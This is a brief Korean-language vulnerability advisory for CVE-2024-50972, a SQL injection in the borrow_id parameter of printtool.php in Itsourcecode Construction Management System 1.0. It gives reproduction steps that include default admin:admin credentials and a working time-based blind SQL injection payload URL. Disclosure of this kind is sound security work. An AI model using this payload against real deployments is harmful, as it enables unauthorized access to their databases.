CVE-2024-50972

설명

Itsourcecode Construction Management System 1.0의 printtool.php에서 발견된 SQL 삽입 취약점으로, 원격 공격자가 borrow_id 매개변수를 통해 임의의 SQL 명령을 실행할 수 있습니다.

취약점 유형

SQL 삽입

제품 공급업체

Itsourcecode

영향을 받는 제품 코드 베이스:

https://itsourcecode.com/free-projects/php-project/construction-management-system-project-in-php-with-source-code/ - 1.0

영향을 받는 구성 요소:

Itsourcecode Construction Management System v1.0은 printtool.php 페이지의 borrow_id 매개변수를 통해 SQL 삽입에 취약합니다.

공격 벡터:

1. 애플리케이션을 로컬에 설정하고 admin:admin 관리자 자격 증명으로 로그인합니다.
2. 브라우저에서 다음 URL로 이동합니다: http://localhost/monitoring_system/printtool.php?borrow_id=5
3. SQL 페이로드 주입: URL의 borrow_id 매개변수를 수정하여 시간 기반 SQL 삽입 페이로드를 포함시킵니다. http://localhost/monitoring_system/printtool.php?borrow_id=5'+AND+(SELECT+7254+FROM+(SELECT(SLEEP(20)))rcGT)--+xxQB